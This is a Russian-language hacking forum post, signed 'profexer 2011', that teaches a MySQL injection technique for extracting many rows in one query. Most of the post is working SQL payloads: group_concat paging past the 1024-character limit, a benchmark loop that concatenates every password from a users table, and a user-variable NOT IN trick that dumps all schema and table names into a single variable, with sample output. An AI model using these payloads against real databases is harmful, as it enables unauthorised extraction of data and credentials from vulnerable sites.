Если данный способ уже где-то описан - прошу кинуть ссылочки.
Метод был существенно доработан - читай мой пост ниже!
Хочу рассказать вам о новой (
может я что-то пропустил?) технике вывода данных при MySQL injection.
Дело в том, что очень неудобно когда при наличии уязвимости в результате мы можем получить всего одну строку за запрос.
Например чтоб получить структуру БД в 5 ветке MySQL, нам придется совершить столько запросов, сколько таблиц в этой самой БД. Ну а о получении имен колонок этих таблиц я уже помалкиваю.
Выходом может быть использование конструкции
group_concat, но она имеет ограничение по возвращаемой длине заданное в
group_concat_max_len (по умолчанию - 1024) и при огромном количестве таблиц, строка просто обрежется по этой длине.
Обойти это ограничение можно с помощью добавления условий, например
table_name>{имя последней полученной таблицы}
Код:
select group_concat(table_name) from information_schema.tables
Цитата:
table
table_1
....
table_200
|
Код:
select group_concat(table_name) from information_schema.tables where table_name>'table_200'
Код:
select group_concat(table_name) from information_schema.tables where table_name>'table_400'
...
Еще можно использовать benchmark, типо того:
Код:
select concat(@a:=0, @b:=1, benchmark(100, if( (select count(password) from users where id=@a), @b:=concat( (select password from users where id=@a), 0x3a, @b, @a:=@a+1), @a:=@a+1) ) ), cast(@b as char) from users
Но при таком запросе, необходимо чтоб был уникальный числовой ключ.
Или можно ограничивать данные по логическим критериям, чтоб отбирать не все сразу. Но опять же - все делается не одним запросом.
Не буду Вас больше томить тем что Вы и так знаете и покажу о чем я говорю.
Я предлагаю без group_concat и benchmark вывести имена всех таблицы одним запросом.
Запрос строится на пользовательских переменных и условии
NOT IN (
но ручками мы туда вписывать ничего не будем ). Что-то типо цикла - только без явного цикла =)
Скажем для получения всех таблиц БД, запрос будет выглядеть таким образом:
Код:
select @pro from ( select @pro:=0x2727, (select null from information_schema.tables where table_name not in( @pro:=concat(@pro,0x2c27,table_name,0x27) ) limit 0,1 ) )fexer
Цитата:
'','CHARACTER_SETS','COLLATIONS',...
|
@pro - наша пользовательская переменная
fexer - требуемый алиас для таблицы
У нас получилась некая рекурсия или цикл (не уверен как именно оно обрабатывается), который склеил все строки в одну переменную, которую мы потом и получили.
При склейке данных (
concat ) запрос примет следующий вид:
Код:
select @pro from ( select @pro:=0x2727, (select null from information_schema.tables where concat(table_schema,0x2e,table_name) not in( @pro:=concat(@pro,0x2c27,table_schema,0x2e,table_name,0x27) ) limit 0,1 ) )fexer
Цитата:
'','information_schema.CHARACTER_SETS','informatio n_schema.COLLATIONS'...
|
Таким образом, мы можем получить все данные без предварительного запроса их общего количества, уникального численного ключа и ограничения в 1024 символа.
P.S.
Я не смог найти ограничение по размеру для пользовательских переменных, так что пришел к выводу, что действующие ограничение - это общее ограничение на выборку данных.
И еще, первая запись дублируется в конце - это просто нужно знать.
Быстрого вам хека!
При распространении прошу указывать автора и ссылку на ресурс на котором Вы нашли заметку.
(c) profexer 2011